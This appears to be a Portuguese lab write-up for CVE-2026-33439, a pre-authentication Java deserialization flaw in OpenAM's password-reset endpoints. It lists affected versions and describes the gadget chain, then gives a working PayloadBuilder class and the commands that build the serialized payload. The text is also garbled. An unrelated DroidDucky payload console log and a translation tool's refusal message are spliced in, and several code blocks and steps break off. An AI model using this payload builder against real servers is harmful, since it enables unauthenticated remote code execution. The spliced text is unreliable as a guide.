---

<div id="vulnerability_affected"/>

### ***Versões Afetadas***

| Produto                     | Vulnerável                                      | Corrigido  |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
| ForgeRock AM (downstream)   | Potencialmente afetado dependendo da linhagem do patch | -      |

---

<div id="vulnerability_attacksurface"/>

### ***Superfície de Ataque***

Qualquer endpoint JATO ViewBean cujo JSP contenha uma tag *< jato:form >* é explorável antes da autenticação:

| Endpoint                  | Propósito                           |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | Redefinição de senha - entrada de identidade do usuário |
| /ui/PWResetQuestion       | Redefinição de senha - perguntas de segurança |

Os endpoints de redefinição de senha são o alvo principal; são publicamente acessíveis por design e têm garantia de renderizar tags *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ A Cadeia de Gadgets***

<div id="gadgetchain_deserialization101"/>

### ***Desserialização Java 101***

Quando o Java desserializa um objeto a partir de um fluxo de bytes, ele chama readObject() em cada classe que reconstrói, incluindo objetos aninhados. Se um atacante controla o fluxo de bytes e injeta um objeto cujo readObject() aciona uma cadeia de chamadas de método que termina em execução de código, ele obtém RCE por cadeia de gadgets.

O ponto-chave do CVE-2026-33439: a cadeia de gadgets não requer bibliotecas externas. Cada classe da cadeia está empacotada dentro do próprio WAR do OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodes-2.3.0.jar`. <u>Isso torna a vulnerabilidade explorável em qualquer implantação padrão do OpenAM.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

Este é o detalhe crítico que faz o exploit funcionar. A classe `Encoder` em `jato-shaded-16.0.5.jar` usa o codificador/decodificador base64 seguro para URL do Java - não o base64 padrão, e não um esquema de substituição de caracteres personalizado.

Verificado ao descompilar Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

root@kali:~# python DroidDucky.py
[+] DroidDucky v1.00 by MrUn1k0d3r & RingZer0 Team
[+] Checking for device
List of devices attached
XYZ123456789	device

[+] Device found running update
[+] Removing previous payload if exist
[+] Pushing payload DroidDucky/duckyscript.txt to /sdcard/
83 KB/s (361 bytes in 0.004s)
[+] Pushing payload DroidDucky/run.sh /sdcard/
30 KB/s (10 bytes in 0.000s)
[+] Running the payload
[+] Waiting for just a second
[+] Payload has been executed cleaning up
[+] Done...

O base64 seguro para URL usa '-' em vez de '+' e '_' em vez de '/', sem preenchimento '='. A codificação correta é:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

**Passo 3 - Configurar o OpenAM a partir do navegador**

Navegue até "http://localhost:8080/openam", clique em "Create Default Configuration" e defina:

| Campo                            | Valor         |
|----------------------------------|---------------|
| Senha do usuário padrão (amadmin) | Lab@dm1n2026! |
| Senha do agente                 | secret12      |

Aguarde cerca de 2 minutos para a configuração ser concluída.

**Passo 4 - Confirmar que a redefinição de senha está habilitada**

Faça login como amadmin → Configurar → Serviços Globais → Redefinição de Senha → ative o botão de alternância → Salvar Alterações.

**Passo 5 - Identificar os endpoints JSP exploráveis**

Encontre todos os JSPs no WAR que contenham tags *< jato:form >*, esses são os endpoints onde a desserialização de jato.clientSession é acionada:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

I'm unable to translate this chunk because the input content after "INPUT:" is empty. There is no source text provided to translate. Please provide the actual Markdown content for chunk 27.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

---

<div id="lab_access"/>

### ***Acesso***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---



<div id="exploitation"/>

## ***💣 Exploração***

<div id="exploitation_prerequisites"/>

### ***Pré-requisitos***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| Requisito              | Observações                                                                                                                      |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | Deve corresponder à versão da JVM em execução no OpenAM. Apenas JRE não é suficiente; javac é necessário para compilar EvilTranslet e PayloadBuilder |
| openam-core-16.0.5.jar | Copiado do contêiner OpenAM - contém Column, Column$ColumnComparator, PropertyUtils                                           |
| xalan-2.7.3.jar        | Copiado do contêiner OpenAM - contém TemplatesImpl, TransformerFactoryImpl                                                    |
| serializer-2.7.3.jar   | Copiado do contêiner OpenAM - contém SerializationHandler usado por EvilTranslet                                                |
| click-nodeps-2.3.0.jar | Copiado do contêiner OpenAM - contém Table (necessário para Column$ColumnComparator)                                              |
| click-extras-2.3.0.jar | Copiado do contêiner OpenAM - dependência transitiva de click-nodeps                                                             |
| jato-shaded-16.0.5.jar | Copiado do contêiner OpenAM - contém Encoder com decodeHttp64                                                                |
| servlet-api.jar        | Copiado de lib/ do Tomcat - Jakarta Servlet API necessária para serialização de Table                                                |
| Python 3.8+            | Para o script PoC                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***Descoberta e Reconhecimento***

**Etapa 1 - Confirme que o OpenAM está em execução e identifique a versão**```
http://localhost:8080/openam/ccversion/Version

**Passo 3 - Confirmar que jato.clientSession é processado**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

**Passo 4 - Gerar o payload**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64